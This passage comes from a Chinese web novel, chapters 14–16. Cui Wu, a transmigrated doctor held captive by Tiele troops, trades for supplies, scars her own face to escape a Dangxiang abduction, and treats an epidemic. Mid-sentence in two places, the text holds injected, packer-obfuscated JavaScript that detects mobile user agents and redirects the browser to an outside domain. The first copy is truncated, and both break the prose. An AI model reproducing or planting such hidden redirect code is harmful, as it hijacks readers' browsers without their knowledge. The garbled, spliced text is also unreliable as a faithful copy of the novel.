他知道摊上这么个出身,说啥安慰话都没用,沉默片刻方站起身,依照现代人的礼节,对崔芜伸出一只手:“丁钰,济阳丁氏出身,族中第六子,今年刚满弱冠。” “我的来龙去脉,你都知道了,以后你就是我妹子,有我姓丁的一口饭,就有你一口汤!” 崔芜:“……” 怎么不管土著还是非土著,都想给她当哥? 她不置可否,只半开玩笑半是怀疑地一挑眉:“你确定?要是我没记错,这一路过来,不都是你蹭我的饭吃?” 丁钰:“……” 他仿佛被一个晴天大雷砸脑门上,蹲墙角不说话了。 玩笑归玩笑,在这个混乱压抑的乱世,能遇到一位“同乡”,对崔芜的安慰还是难以想象的。这意味着许多时候,她不必再独自一人苦苦支撑,那些在旁人看来习以为常的磋磨、委屈与格格不入,尽皆有了倾诉对象。 许是因为心境发生变化,翌日遇到糟心事时,她也未如以往那般愤世嫉俗,反而能心平气和地与对方分说。 “我知如糖盐一类的物资金贵,轻易寻不到,”她从怀中摸出荷包,将装有手术针线的木盒收入袖中,又把荷包塞给一名胡人将领,“还请将军代为转圜,若是实在寻不到,鸡子肉干或是牛羊乳也是好的。” 这是崔芜全部的家当,包括好几件赤金首饰,零零总总加起来,也有十几两重。 胡人将领掂了掂分量,大约颇为满意,总算松了口:“耶律将军说,不许我们把盐和糖分给汉人,你们想要,得自己想法子。” 崔芜:“什么法子?” 胡人将领:“我们的药快用完了,我明日要去一趟互市,你不是郎中吗?应该知道什么样的药更合用吧?” 崔芜懂了他的暗示:“若是方便,我明日同将军一起去。” 胡人将领将荷包收入袖中,拎着马鞭走了。 14. 第十四章 毁容 崔芜的家当都给了胡人,自己手上空空如也。幸而刚认的“老乡”够意思,摸出贴身藏着的玉佩,偷偷塞给她。 “知道你手头不剩几个子了,拿着吧,”丁钰说,“我身上也没什么值钱的物件,这个看着还值几两银子。” 崔芜觉得他过分谦虚了,这玉佩一看就是上好的和田羊脂,厚重细腻,触手生温。雕工亦是精细,是一对母子鹿,母鹿回头舔舐小鹿,情深之意脉脉可见。 崔芜毫不怀疑,这玩意儿拿到后世的拍卖会上,能叫出上千万的价格,一时只觉手心沉甸甸的。 “你真舍得拿出来?”她问,“这东西搁在太平年代,怎么着都能当几百上千贯钱,够一户人家二十年的花销了。拿去互市,最多换几斤盐和红糖,不心疼?” 丁钰袖着两只爪子:“反正是你哥的东西,我有什么好心疼的?” 崔芜:“……” “当初在丁老三的船上,你哥为了给你弄点补身的药材,没少打点管事账房,连随身玉佩都拿出来了,”丁钰一抬下巴,“我看不上管事那小人得志的模样,又觉得这么好的玉,给了他忒糟蹋,趁着没人注意,从他屋里偷了出来……啧,反正那老小子是背着丁三收的好处,自己心虚,也不敢叫嚷出来。” 崔芜摩挲着玉佩花纹,不确定地说:“舐犊情深这一类图案,一般是不是都雕在长辈送给晚辈的物件上?” 或者说的更准确些,是母亲送给子女的。 丁钰和崔芜面面相觑片刻:“这小子还真舍得下血本啊。” 崔芜皱眉,这话怎么听怎么别扭,可为着这个发作又有小题大做之嫌,只好捏着鼻子忍了。 她看着手中玉佩犯了难:理智上,她知道丁钰说得对,自己眼下囊中空空,要换取药材和物资,就非卖了这玉佩不可。 但情感上,一想到这可能是萧二母亲亲手戴在孩子身上的,就觉得分量沉重,实在忍不下心肠。 末了,她只能安慰自己:先卖了……等我赚了钱,来日就算翻遍天涯海角,也得把东西赎回来。 互市离胡军驻地不算远,过去约莫小半个时辰。胡人是赶着空粮车上路的,倒便宜了崔芜,不必硬着头皮骑马,可以坐在车上躲清闲。 离着还有百丈远,就听远处传来隐隐的吆喝声。此地名为“互市”,也果真像农贸市场一样杂乱无序,随处可见毡毛帐篷和临时搭建的牲圈,诸如马、牛、羊之类的家畜从栅栏缝隙中探出嘴,啃着地上零星的草皮。 崔芜一眼相中了贩卖盐糖的摊子,径直脱离了大部队。同行的胡人将领得了她的好处,睁一只眼闭一只眼,并未阻拦。 “怎么卖?” 看摊子的管事抬起头,一眼看穿了崔芜姑娘家的身份,眼珠一转,临时提了价:“这是上好的细盐,若是骏马,十匹可换一斗。若用牛羊交易,价钱还得往上。” 崔芜:“……” 她虽没做过生意,却也读过史料,晓得在前朝年间,食盐每斗不过十文钱,纵然互市价高,翻个数十上百倍也就顶破天了。一匹骏马少说却可换得二、三十匹绢,前朝末年甚至出现一匹马五十匹绢的超高价位。(1) 这么一等量换算……请问你的盐是金子做的吗? 崔芜思忖须臾,不与这管事的争辩价钱,只用新学来的铁勒语似笑非笑道:“我是与我们将军一起来的,咱们马匹牲畜带的不多,胡刀倒是有不少,你且算算,一把刀能换多少斗盐?” 为了证明自己所言不虚,她有意转向胡人将领,极夸张地弯腰示意。 胡人将领瞧见了,矜持地点了点头。 此地虽水土肥美,有“塞上江南”之称,民风却极为凶悍,能来往此间经商之人,身后大多不缺后台,眼光阅历更是一等一。 管事见胡人将领满面悍戾,身后亲兵亦是个个精锐,便知这帮人大有来历,轻易得罪不起,再开口时语气和软了三分:“姑娘莫动怒,有话好说——我瞧着您不是本地人,想必是从别处迁来的?” 崔芜不理会他的试探,开门见山:“你这儿有盐巴和红糖吗?” 两柱香后,崔芜手上挽了个包袱,里头是此行换得的食盐与红糖,用油纸包着,分量十足。那管事的有意交好,还免费送了好些鸡蛋与肉干,崔芜来者不拒,统统收下。 “我这算是狐假‘胡’威了一回?”她自嘲一笑,扭头看向方才的摊铺,若有所思,“听那管事口吻,像是关中一带,若是寻常商贾,怎会大老远跑一趟,不要金银财帛,反而只盯着战马?” 战马……一般而言,只有割据一方的势力,才会对这种特殊的物资感兴趣。 这人背后主家是谁,购买战马意欲何为? 崔芜边走边思索,没留神前方拐出几道人影,刚好挡在必经之路上。她只当是凑巧,正想绕道而行,就见为首的男人抬起胳膊,再次拦住她。 崔芜:“……” 哟呵,这是故意挑事? 她谨慎地撩起眼皮,只见挡路之人穿着皮袍,身量亦是魁梧高大,与胡人相比不遑多让。但从五官轮廓不难看出,他们与面部扁平宽阔的铁勒人有着十分明显的区别。 “高鼻深目,轮廓分明,头发剃短,只在头顶留下一撮,”崔芜暗暗寻思,“没错,这帮人十有八九是党项族人。” 面上却不动声色:“诸位有何贵干?” 为首之人正是李恭,他不屑与崔芜一介小女子分说,直接挥手:“拿下!” 身后亲随蜂拥而上,崔芜要跑已经来不及,干脆不退不让,“呛啷”一声拔出贴肉藏着的匕首,刀尖抵住脖颈动脉:“都给我站住!” 她此举无异于豪赌,赌的是自己与眼前男人素未谋面,对方拿她绝不是出于一时好事,多半有着更为深远的目的和用意。 既然如此,他就不会坐视自己自戕。 幸运的是,她赌对了。 李恭大约是觉得她跑不了,也的确打着活捉的主意,果然耐着性子劝说道:“姑娘,我家节度使大人有请,你可别敬酒不吃吃罚酒。” 崔芜拿余光瞥向胡人队伍,见为首的胡人将领已经留意到这边动静,故意大声道:“你家节度使大人是谁?不妨告诉你,我是跟着耶律将军来的,你若强绑我,便是跟我家耶律将军过不去!” 此话一出,胡人将军加快了走过来的脚步。 李恭知道她是跟着胡人轻骑来的,敢当众拿人,就是打量崔芜一介俘虏,耶律璟再如何看重,也不会为了个中原女子与盟友过不去。 因此,他十分有恃无恐:“今日你去也得去,不去也得去!还不带走!” 亲随都是人高马大的壮汉,铁了心拿一个小女子,不费吹灰之力。幸而胡人将军步子够大,及时赶到,抬手将挑事的党项人拦下。 “你想干什么?”他瞪着李恭,“她是我们将军的人。” 李恭敢拿人,自然做了万全的准备:“这是我们节度使大人帐中女奴,前些天逃脱出来。节度使大人喜欢她得紧,下令一定要将人寻回,将军若是不信,有画像为证。” 他扯着早已捏好的谎话,取出事先准备的画像,虽笔墨粗糙,却能看出是个眉黛鬓青、靡颜腻理的女子,与崔芜果然有六七分像。 崔芜心说:连画像都准备好了,看来是蓄谋已久、有备而来。 “我知将军也是奉命行事,不如这样,”李恭微笑道,“我先将人带回,若是耶律将军责怪,尽管来问我要人,这样将军也不必担干系,如何?” 崔芜腹诽:不如何,真跟你回去了,姓耶律的还能把人要出来? 但她知道胡人脑子简单,保不准真被这小子绕进去,于是看向胡人将领,不出所料地看见他面露迟疑。 李恭行动力极强,冲亲随使了个眼色,心腹会意,扣住崔芜肩头就要将人拖走。 说时迟那时快,崔芜横肘一抹,雪亮的刀尖在脸上拖过,血花立时溅出。 所有人目瞪口呆。 崔芜杀人不眨眼,对自己下手居然也毫不留情,一道不够,又多添了两下,三道伤口呈“川”字状排开,血肉狰狞翻卷,将原本明艳照人的容颜毁得不成样。 而她犹带笑意,甚至伸舌舔了口刀尖滑落的鲜血。 “这位将军,”崔芜轻言细语,听着比平时还要和气三分,“您对着画像仔细瞧瞧,看我像吗?” “若是还觉得像,我便将另外半张脸也划了,绝、对叫您看不出一丝一毫相似的影子。” 周遭陷入死寂,震住他们的不是那张血淋淋的面孔,而是那女人分明含着柔情笑意,却冰冷如寒潭的眼。 这般的狠绝与悍勇,他们从未在哪个女子身上见过,连男子都屈指可数。 胡人将领终于回过神,大步拦在前头:“人,我必须带回去,你有什么话,直接与耶律将军说。” 李恭蹙眉不已。 他之所以来这么一出,一半是看重崔芜医术,另一半却是为了这女子美貌——倒不是自己享用,而是想作为礼物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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胡都对这个中原女人无甚好感,但是汴梁城外,是崔芜拔出箭簇,治好了一众郎中束手措的箭伤。阴山脚下,也是这个小女子临危受命,孤身入病区,没日没夜地治疗感染瘟疫的士兵。 看在这些,胡都愿意给她几分优待,丢了个粗陶瓶子过去:“伤药,自己上。” 崔芜接住药瓶,福身谢过。 她读过文献,知道铁勒虽被当时的中原政权视作“番邦”,医疗实践却颇具成果,尤以防冻伤药、解毒药、麻醉药最为人称道。 因此并不敢小瞧胡都丢来的“伤药”,而是蘸了点药粉送入口中细品,分辨出一味凉血止血的紫菀,心中更添几分笃定。 但她没有立刻上药,而是回了营帐,将伤口小心清洗干净,这才细细敷上一层药粉。 没等她将脸孔包住,帐帘挑开,丁钰走了进来。 他约莫是听说了互市上的事,见了崔芜花红柳绿的半边面孔,并未显得吃惊,只是皱紧眉头:“你吓唬吓唬他得了,下手怎么这么狠?这是你自己的脸,不疼啊!” 崔芜很淡定:“我有分寸。这匕首锋利得很,刀刃也干净,我下手不深,没伤着真皮层,运气好的话或许疤也不会留。” 丁钰气笑了:“运气好?那要运气坏呢?” 崔芜是真无所谓:“大不了留疤。豁出去一张脸,省了日后的麻烦,也不亏。” 虽说美貌是天赐的禀赋,可自穿越以来,她受其拖累多,得益少,早就烦了。若不是看在这张脸是原主存在于世的唯一凭证,被孙彦逼纳为妾那会儿,她就自己划了。 如今兜兜转转,还是这么个下场,可见她与美貌无缘,即便老天赏了这么张脸,也留不住。 丁钰不知说什么好。 他虽是理工男,九年义务教育也没少学历史,听说了不少乱世女性艰难求存的事迹。可知道归知道,听在耳朵里和自己眼睛看到的,冲击力还是天差地别。 他想不出安慰的话,只好帮着崔芜将干净纱布缠在脸上:“不是说天下大势,合久必分分久必合?等打完仗大一统就好了。” 他顿了顿,不知是想说服崔芜还是说服自己:“会好的。” 崔芜回忆了下,不记得这“有生不如无生”的鬼年代还有多久结束,却记得随后跟着的大一统王朝先后缔造了“高梁河车神”和“大金孤忠”等神话(2),更凭一己之力将称臣纳贡的国耻程度刷新下限。 真是不安慰还好,越安慰越糟心。 “南方雄主成日惦记着纳妾,北边的更不济,只差将一对膝盖献给芳邻,”崔芜生无可恋地想,“这日子过的可真有盼头。” ……吧? 15. 第十五章 交易 不管一统乱世的是哪方势力,也不管日后的大一统王朝能不能撑起天下百姓的脊梁骨,只要一息尚存,日子就得过下去。 崔芜强迫自己不去想那些无法解决的问题,只专注于眼下境遇。她又是向耶律璟献殷勤,又是想方设法弄来补身的物资,无非想让俘虏营里的中原百姓日子好过些。 不幸中的万幸是,崔芜的努力没有白费,十日后,除了几个年老体弱的重症病人实在救不回来,大部分轻症病患都熬过了最艰难的关头。有些恢复快的,甚至可以起身走动,帮着打打下手。 着实让崔芜松了口气。 这一日阳光不错,崔芜将洗净后又用开水烫过的麻布晾在临时支起的木杆上,忽见一道身影背了人,鬼鬼祟祟地走到溪边。 胡骑驻地就在阴山脚下,附近溪流网布,皆是积雪融水形成。那人怀抱着换下的衣物,寻了个没人角落,打湿了就是一阵猛搓。 崔芜认出这是那对兄弟中的幼弟,好像叫什么“阿绰”。眼看他在取水的浅溪中洗涤衣物,忍不住提醒道:“你病症刚好,衣物上兴许还有病气,在这里清洗很容易过给别人,须得在开水中烫过。” 阿绰没想到身后有人,惊了一跳,手中衣物不慎滑落,被水流冲着往下游漂去。 崔芜赶紧上前帮忙,阿绰动作却比她快得多,慌慌张张地涉水追去,将衣物捞了回来。 崔芜眼尖,借着水面反光看清那是一件小衣,隐隐似乎沾染了血迹。 她蓦地恍然:“你该不会是……” 阿绰将衣物藏在身后,眼神又是慌乱又恐惧。 这里是胡骑驻地,周遭不时有人巡视,崔芜不方便多言,将人带回自己营帐。她从包袱里翻出一条用麻布缝制的简易月事带,垫好草木灰塞给“他”:“去里面换上。” 阿绰拿着月事带,脸上抹再多灰土都遮不住泛起的血色。 崔芜给“他”把过脉,当时就觉得奇怪,纵然病后脉象混乱,可这少年寸沉而尺盛,正合脉应关下、阴多阳少之状,怎么都不像是男子脉象。 如今答案揭晓,这果然不是什么男孩,分明是个女扮男装的小姑娘! 而且,还是个大病初愈又来了生理期的小丫头。 “你就算隐瞒,也该悄悄跟我说一声——你平日里喝的汤药有一味桂枝,来月事的女子尤其慎服,万一落下病症怎么办?” 崔芜小声数落,说完想起这小丫头刚发病时,还不怎么信任自己,当然不会将这么重要的秘密告知,瞬间没了脾气:“手,伸过来让我看看。” 阿绰怯生生地探出手,被她搭了半天脉,又伸出舌头仔细瞧过。只听崔芜问道:“以前来过吗?” 阿绰摇了摇头。 她父母早亡,乱世求存不易,只能扮作男孩,与唯一的兄长相依为命。大哥虽然疼她,对女子之事却不甚了解,以至于她乍逢初潮,慌了手脚,根本不知道该如何处理。 “没什么大碍,也算是一桩好事,”崔芜说,“你大病初愈就来了月事,说明年轻底子好,身体恢复得不错,血气也旺盛。只是这两天要格外当心,不可过分劳累,更不能沾水着凉。” 她就着帐内熬药的小炉子煮起红糖水,随手磕了个鸡蛋:“以后每日吃一碗红糖炖蛋,直到月事结束。别仗着年轻就不把葵水放在心上,多少女子来月事时没养好,落下一身病根,以后有的罪受。” 崔芜说了半天,没听到回音,回头就见小姑娘红了一双眼,喉间憋着细细的哽咽。 崔芜愣住,仔细回忆了下,自己好像也没说什么过分严厉的话,怎么就把人家孩子招惹哭了? 没等细问,阿绰爆出一声啜泣,仿佛饱受惊吓的小兽,一头扎进崔芜怀里,两条细瘦的胳膊死死揽住她腰身。 崔芜:“……” 她难得愣在当场,面对胡兵杀人时尚且冷静自持面不改色,却对眼前的一幕束手无措,完全不知该如何应对。 *** 与时局大势相比,发生在营帐中的琐事就像一粒小石子,轻易便被滔天潮水淹没了。 只有当事人知道,这不经意间落下的沙砾掀起了怎样的暗涌波澜。 好比次日清晨,崔芜掀开帐帘,就见门口摆了块平坦干净的石头,上面是用草绳串起的几条小鱼,鱼鳃还在一张一合,显然是刚捞上来的。 这鱼就是附近小河里土生土长的,个头不大,味道却很鲜美,五六条架火上烤了,也够补充一日所需的蛋白质。只是这鱼灵活,十分不好抓,崔芜试过几回,非但没抓着,反而被鱼尾扑了满脸水。 她环顾四周,只见远处站着汉子山一般的身影,是那两兄妹中的大哥,好像是叫延昭。 他假作帮忙晾晒麻布,见崔芜看来,慌忙挪开视线,偏偏又舍不得完全不看,眼角有一搭没一搭地瞟着崔芜动静。 崔芜哑然失笑。 恰在这时,异样的动静从军营门口传来,崔芜极敏锐地瞧去,就见一队人马飞驰而至,虽离得有些远,却能看出这些人的发型一如党项李氏。 崔芜笑意倏敛,抬手抚住裹着纱布的右颊,眉头深深蹙起。 与此同时,胡骑帅帐。 “砰”一声响,斗大的拳头砸在李恭脸上,这位昔日的河西副将失了平衡,狗啃泥似地倒在地上。 他进门前就料到有这么一出,只是没想到耶律璟怒火如此之大,倒地的瞬间货真价实地懵了片刻,而后若无其事地爬起身。 “耶律将军好大的火气,若是不解气,可要在下将右半边脸也送上?” 此人曾在河西秦氏麾下做小伏低多年,骨子里的血悍之气被磨平不少,倒是学会了中原官场唾面自干、八面玲珑这一套:“不过是个女奴,何至于您发这么大的火?” 耶律璟下手极重,脸上却看不出多大火气,甚至称得上平静:“我记得我警告过你,别动我的人。” 李恭便知自己猜对了,耶律璟并没有表现出的这般恼火,适才那一拳与其说是发泄怒火,不如说是向所有人宣示权威,他耶律璟的所属物不容染指。 “不告而取,是我的过错,”李恭摊开双手,示意自己此行是带着“诚意”,“这些时日,族中发病之人又多了好些,郎中巫医皆是束手无措。我家节度听说了你那位女奴的本事,这才想将她请去。” 耶律璟活动了下手指,指节发出喀喇响动。 李恭仿佛没听见,继续微笑:“当然,任何交易都需要付出代价,在下很清楚这一点。听说贵国国主有意打造一支强军,需要大批战马?将军瞧着,五百匹如何?” 耶律璟怒气倏敛,面现沉吟。 他当然不会为了一个女奴与昔日盟友交恶,所有的作态只是为了让对方明白自己的底线,从而叫出更高的价码。 事态发展一如耶律璟所料,李恭展现出他需要的诚意,五百匹战马不是小数目,用来换一个普通的女奴绝对物超所值。 只是…… “不行,”耶律璟断然拒绝,抢在李恭变色前补充了一句,“这个女人不是一般的女奴,我还有用途。” 李恭了解耶律璟,当他这么说时,就意味着态度坚决没有转圜余地。这个结果并非不曾预料到,只是李恭没想到,这一人之下的铁勒储王,居然会对一个中原女人另眼相看到这般地步。 不过,联想到铁勒军营低到吓人的死亡率,似乎也不难理解。 “五百匹战马,换这位女郎中入营看诊,”他主动退了一步,“待到疫病尽除,我就将她送还,保证不少一根头发,如何?” 耶律璟没有立刻回答。 “将军莫忘了,你不远千里来到此地是为了什么——就只为了交易几个中原奴隶?”李恭意有所指,“我军疫情一日不清,将军就得在这儿耽搁一日,几千人的粮饷,您拖得起吗?” 耶律璟眼神微凉,抚摸刀鞘的手缓缓攥紧。 崔芜虽因治疗疫病有功而得了些许看重,本质上依然是任人鱼肉的蝼蚁。在为党项人看病这件事上,她没有任何话语,直接“被告知”了。 能给她一天时间收拾行李,还允许她带上几个打下手的随从,已经是耶律璟格外开恩。 崔芜本人倒是安之若素,乱世求存十余年,她早习惯了被当成物件摆布。相形之下,丁钰就愤怒得多,差点把案上的瓷碗砸了。 “那个姓李的本就打你的主意,上回逼着你划了脸,真去了他的地盘,不把小命交代在那儿!” 他气得直咬牙,崔芜几乎听到他犬齿碰撞的嘎嘣声:“姓耶律的还是不是男人!河没过完就想着拆桥,早知道不救他们了,病死了拉倒!” 崔芜原本还有三分火气,听着这小子替自己打抱不平,油然生出一种新鲜的欣慰感。 仿佛有只巴掌拍落,将余烬劈头盖脸地拍灭了。 “党项人定然许了足够的好处,才能让耶律璟松口,”她拍了拍丁钰肩头,“左右疫病只是顺带,耶律璟真正看重的是我治外伤的本事,他不会放任我陷落在党项人的地盘。” 丁钰先是点头,点到一半,忽然觉得哪里不对。 “你说,”他迟疑道,“姓耶律的为何那么看重你治外伤的手艺?” 崔芜笑了笑,心说:这话问到点子上了。 不过她如今自身难保,探究耶律璟的用意毫无益处,只能先顾眼下。耶律璟允许她带下手过去,她便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485203|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当真去了俘虏营,将自己即将前往党项驻地的消息告诉众人。 “我要带几个人帮忙打下手,”她说,“不勉强,愿意去的今晚收拾下,明日来我营帐门口集合,不愿意的留下休养。平时如何处理秽物、如何看顾病人、如何应对高烧发热,我都告诉过你们,在此期间,如果有人病情恶化,就按我之前教的做。” 俘虏营里一片安静,大多数人低着头,脸孔藏在阴影中,瞧不见表情。 崔芜不以为意,说到底,人都有贪生畏死之心,深入党项军营凶险异常,明哲保身是人之常情。 所以翌日天不亮,当她看到营帐外隐隐绰绰的十来道身影时,整个人都惊了。 要是崔芜没记错,就在半个月前,这些中原俘虏还视她为胡人走狗,不肯正眼瞧她,什么时候变得这么有号召力了? 解答疑问的是混血兄妹中的兄长延昭。 “我弟弟的命是你救的,”他粗声粗气地说,“以后,我们兄弟就听你的差遣。” 女扮男装的小丫头阿绰一早跑到崔芜身边,抓着她的手死活不撒开。 崔芜试了几次没挣脱,只得由她去了:“李家人不比胡人好说话多少,这一趟去了,有没有命回来都说不准。你们当真想好了?” 十几个汉子有汉人也有如延昭兄妹一般的混血,却无一例外,都是父母亲人在战乱中身殒,自己孑然一身无牵无挂。 闻言,众人虽沉默,眼神却十分坚定。 见状,崔芜不再劝说。 一个时辰后,一行人坐驴车来到党项军营。出乎崔芜意料,这里的情况并没有想象中那么糟糕,兴许是借鉴了胡人驻地的经验,党项人将病者和健康士兵分开安顿,进出病区皆须佩戴面罩,也妥善处理了病员的秽物。 崔芜刚处理过一波疫情,此时上手轻车熟路,立刻将病人按照轻重症状再次分区,而后开方熬药。 党项人大约是受了耶律璟敲打,即便打心眼里瞧不上汉人俘虏,也不敢过分慢待。每一日的餐食都按时送到营帐,有烤肉有面饼,内容还挺丰盛。晚间也有烧开的热水洗漱,比当初押送北上的日子好过不少。 崔芜也学聪明了,凡事能指使旁人,就不再撸袖子亲自上阵。不是她不把人命当回事,实在是小产到现在不过两三个月,身子还没完全养好,前阵子忙过了头,就觉得胸闷气短、头晕目眩,蹭胡人的药材开了补中益气汤,连吃几副才稍稍好些。 她虽有行医救人的志向,却也不打算将自己赔进去,总要为小命打算一二。 幸好跟着来的都是生力军,又全程目睹了她治疗胡人的过程,只要不涉及搭脉开方,帮忙熬药打下手还是没问题的。 党项人也不敢完全信任他们,每日都有两个连监视带通译的兵卒盯着。患病的党项人亦是满腹怨气,崔芜分发汤药时,就被一个老妇人照脸掷出药碗。 幸好延昭反应快,替她挡下滚烫的药汤,才没让崔芜刀伤未愈的脸彻底毁容。 “被诅咒的汉人,是你们将疫魔带到这里!”老妇人恶狠狠地瞪着崔芜,“山神不会饶恕你们的!” 崔芜没说什么,把药碗往营帐门口一放,转身走人。 她此行生死难料,丁钰自然要跟着一起。这小子肩不能挑手不能提,打听消息却是一把好手,趁着分发药汤的机会,将里外摸得七七八八。 “你别跟那老太婆一般见识,”用午食的空歇,他凑到崔芜身旁悄声道,“她丈夫、儿子都是跟汉人打仗时死的,只留下一个小孙子,难怪看咱们不顺眼。” 崔芜:“又不是汉人自己想跟他们打。” 丁钰心疼崔芜,从不跟她对着呛,闻言立刻顺毛捋:“就是!要不是那个姓李的天生反骨,背叛旧主不算,还差点把人全家灭了,又怎么会招惹杀神,从河西夹着尾巴逃回老窝?” “河西”两个字排众而出,刺中了崔芜最为敏感的那根弦。她咽下嘴里肉干,问道:“什么招惹杀神?他灭谁全家了?” 丁钰:“就是那个李恭!原先好像是什么河西节度使的副手,谁知他贪心不足,想着取而代之,趁着老上司病死、新上司还没站稳脚跟的当口发动政变,直接把旧主全家灭了。” “没想到人算不如天算,人家老节度使死了嫡长子,还有个庶子守着玉门关。听说凉州出事,兄长满门都被屠了,他能坐视不理?当即带人杀回凉州,拼死拼活,才算把李家人赶了出去。” “那老婆子的丈夫和儿子,都是死在那时候。” 崔芜沉吟:“这庶子是什么人?” 丁钰回忆片刻:“他是河西秦家的二郎君,如今已经袭了河西节度使的位子,好像叫秦……秦萧!” 16. 第十六章 人心 崔芜上一回听到“秦萧”这个名字,还是在汴梁城酒楼中。不过当时,说书先生一笔带过,是以只留了个大致印象,并未往深细想。 如今再次听到,好似霹雳当头落下,照亮了隐在云遮雾绕背后的种种关联。 “西北,族中排行第二,名字里也有个萧,”她皱眉寻思,“会是巧合吗?” 毕竟,再一再二不再三。 “你帮我个忙,”崔芜安排任务,“打听一下,这个秦萧出身为何,为人如何,有何事迹。” 丁钰很乐意受她指使,答应着去了。 崔芜则继续投身治病救人的行当,不过浸润越久,见得越多,她心中疑惑也愈加深重 凭胸中所学药理知识,手上练就的外科本事,她固然能救回一条人命,甚至几十、几百条也不在话下。 但她挡不住外族破城当头斩落的屠刀,熄不灭中原大地燎野而起的狼烟,也改不了底层百姓为人鱼肉、受人摆布的命运。 难怪昔年某位周姓先辈毅然撂下手术刀,改拿笔杆子。 那崔芜呢? 她要怎么做,才能救下更多的人? 曾几何时,崔芜的想法是依附一方豪强,贡献毕生所学,借他之手施展胸中志向。 但是看看弃城送地的晋帝,逼人做妾还自以为情深似海的孙彦,再对比雄图伟略的耶律璟,她不确定了。 崔芜不是自寻烦恼的脾气,既然拿不定主意,就先着眼手头之事。好在这些时日的辛劳没白费,感染人数并未增加,症状较轻的病员也在逐渐恢复。 这一日,她正给一名老者搭脉,阿绰突然匆匆跑来,扯着她衣袖上气不接下气:“有、有人不好了!” 崔芜最怕就是“不好”两个字,这些天不断重复,都快形成应激反应。她背着药箱赶过去,就见倒在地上的是个七八岁的男孩,面皮紫涨,手捂胸口拼命倒抽气,能吸进肺叶的却寥寥无几。 曾把药汤往崔芜脸上泼的老妇人抱着男孩,不断呼唤男孩的名字,眼睛被慌乱煎熬得通红。男孩却给不出任何回应,喉间发出不祥的“荷荷”声。 周遭围了好些人,不无恻隐担忧者,但谁都知道,伤寒过人极快,且崔芜给他们立了规矩,不许随意串动,更不许相互接触,谁敢上前帮忙? 正不知所措之际,只见人影闪动,却是那奉命为他们看病的汉女郎中箭步上前,将男孩翻转过来,先清理净他口鼻间的秽物,又毫不犹豫地低下头。 两人嘴唇相接,四周响起一片惊呼。 崔芜充耳不闻,所有注意力都放在男孩身上。她心知肚明,这是被痰液阻塞了气道,如不尽快吸出,极有可能就此休克。但她手边没有工具,只能用最笨最危险的法子,口对口将痰吸出。 至于痰液本身具有极大的传染性,不同种族间的敌对情绪,乃至这个时代的男女大防……在人命关天面前,也只能暂且靠边站。 她运气不错,片刻后,崔芜偏过头,吐出一口白而稠腻的浓痰。与此同时,伏在地上的男孩猛抽两口气,脸色由青转白。 总算能顺畅呼吸。 老妇人爆发出一声啜泣,抱着孙子不住摩挲,口中喃喃自语,从头到尾没正眼看向崔芜。 崔芜不以为意,接过阿绰递来的竹筒,用淡盐水漱了口,又重新戴上面罩。 “这孩子脉象沉滑,舌苔白腻,是痰湿之症,”她给男孩把过脉,重新开了方子,“痰浊升到上焦,阻遏心肺生机,给他换半夏厚朴汤。”(1) 半夏厚朴汤的药材包括法半夏,厚朴,茯苓,生姜,苏叶,桂枝,丹参等,能通利心肺之气,被称为“破痰第一方”。 “走吧。” 崔芜真心没把这点意外放在心上,当初医院轮岗时,见过形形色色的病症,也经历过家属医闹。最疯狂的一回,病人肠梗阻,粪便无法通过肠道排泄,只能呕吐出来。 一干实习医护从半夜折腾到天明,崩溃到死,此后整整一个月,崔芜都见不得鸭肠。 在当时看来分明难以忍受的经历,从未想过,有朝一日会变成可望而不可即的慰藉。 崔芜闭了闭眼,飞快调整好心态。 往事不可及,来日犹可追。 比起这点意外,她更在意丁钰带回的情报。 “驻地东南角有个单独的营帐,看着挺简陋,门口却有好些士兵巡守,估计里头是什么重要人物。” 这一日中午,饭食里居然有羊乳,虽然有些膻气,崔芜还是抓紧机会塞进嘴里,用眼神示意丁钰继续。 “我着意打听了,里头好像关了对母子,也姓李,更多的就问不出来了,”丁钰偷偷跟崔芜咬耳朵,“不过我瞧看守如临大敌的模样,这对母子身份应该不简单,需不需要继续跟进?” 崔芜心说:这货不愧是从大厂里出来的,到哪都不忘给自己拉项目。 “暂时先不用了,”她谨慎评估过风险与收益,还是选择放弃,“姓李的盯咱们紧,贸然行动很容易打草惊蛇,得不偿失。” 她本着“人在屋檐下”的想法,不到万不得已不想和强敌对上,却忘了人为刀俎我为鱼肉,容不得她息事宁人。 坚持要找崔芜麻烦的人是李恭。 崔芜本以为划了这张脸就能万事大吉,不料低估了李恭搞事的决心。只是这一回,他看上的不是崔芜的脸。 “铁勒与中原是世仇,姑娘应该明白,你留在胡人帐中,永远只能是个地位低下的女奴。运气好点,或许被哪个权贵看上,娶回去当个妾室——但李某猜想,这不是姑娘想要的,否则你也不会舍了这张脸,也要留在营中当个劳什子郎中吧?” 李恭为人如何姑且不论,眼光着实犀利,一语刺中了崔芜软肋。这要换一个人,搞不好真会动摇。 “李某则不然,上回邀约姑娘固然冒昧,却也是真心求贤。”难为他脸皮厚如城墙,三言两语间就把“强取豪夺”粉饰成“求贤若渴”,“若姑娘愿屈就,在下可以说服节度大人,以女医官之位相待。” 崔芜货真价实地愣住了。 华夏历史源远流长,医学一道在相当长的时间内被男性垄断江山,女医尚且寥寥无几,为官方承认的女医官就更少了。 正经排得上的只有两人,一个是西汉武帝年间曾以女侍医身份侍奉太后的义妁,一个是有着“女中扁鹊”称号,却因一己私欲丧失医德最终遭人唾弃的淳于衍。 李恭能说得出这话,不论真心还是假意,其眼界已经超出同时代大多数人。 不愧是能干翻旧主、险些灭了河西名门的人物。 崔芜有心看看他能叫出多高的价码,故作犹疑:“可耶律将军待我不薄,自古义士不投二主……” 